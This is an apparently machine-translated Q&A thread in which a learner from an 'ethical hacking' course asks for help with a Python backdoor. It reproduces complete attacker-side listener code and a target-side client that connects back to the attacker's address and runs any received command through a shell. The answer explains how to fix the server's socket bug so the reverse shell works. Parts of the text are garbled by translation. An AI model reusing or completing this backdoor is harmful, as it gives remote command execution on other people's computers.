Python &引用;属性错误:';模块';对象没有属性';发送'&引用;使用后门插座时

Python &引用;属性错误:';模块';对象没有属性';发送'&引用;使用后门插座时,python,malware,Python,Malware,我一直在学习(以下)道德黑客课程,我一直在学习他的课程,直到制作后门部分。我一直无法通过它,因为我在使用套接字模块时不断遇到错误(如下所示) 课程(付费): 错误:AttributeError:“模块”对象没有属性“发送” 获取错误的文件: import socket import json def reliable_send(data): json_data = json.dumps(data) socket.send(json_data) def reliable_re

我一直在学习(以下)道德黑客课程,我一直在学习他的课程,直到制作后门部分。我一直无法通过它,因为我在使用套接字模块时不断遇到错误(如下所示)

课程(付费):

错误:AttributeError:“模块”对象没有属性“发送”

获取错误的文件:

import socket
import json


def reliable_send(data):
    json_data = json.dumps(data)
    socket.send(json_data)

def reliable_recv():
    json_data = ""
    while True:
        try:
            json_data = json_data + target.recv(1024)
            return json.loads(json_data)
        except ValueError:
            continue

def shell():
    while True:
        command = raw_input("* Shell#~%s: " % str(ip))
        reliable_send(command)
        if command == "q":
            break
        else:
            result = reliable_recv()
            print(result)

def server():
    global s
    global ip
    global target
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("192.168.1.146",54321))
    s.listen(5)
    print("Listening for Incoming Connections")
    target, ip = s.accept()
    print("Target Connected")

server()
shell()
s.close()
目标计算机上的文件:

import socket
import subprocess
import json

def reliable_send(data):
    json_data = json.dumps(data)
    sock.send(json_data)

def reliable_recv():
    json_data = ""
    while True:
        try:
            json_data = json_data + sock.recv(1024)
            return json.loads(json_data)
        except ValueError:
            continue
def shell():
    while True:
        command = reliable_recv()
        if command == "q":
            break
        else:
            try:
                proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                result = proc.stdout.read() + proc.stderr.read()
                reliable_send(result)
            except:
                reliable_send("[!!] Can't Execute That Command")

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.1.146",54321))
print("Connection Established")
shell()
sock.close()

您需要连接的套接字才能发送和接收数据。您的程序正在使用套接字模块,就好像它是一个已连接的套接字,但它不是。它只是一个与套接字相关的API活动的模块

您的客户端有一个已连接的套接字-全局
sock
。但是您的服务器没有一个可靠的发送调用
socket.send
,正如异常所指出的,它不存在


在服务器上连接套接字的方法是使用服务器设置的侦听套接字的
accept
方法。

非常感谢!我一定会尝试这个当我能,再次感谢!作为一个小问题,我将如何在我的代码中实现一个accept方法呢?我在谷歌上搜索了“pythonsocketaccept教程”,第一个答案似乎是哪个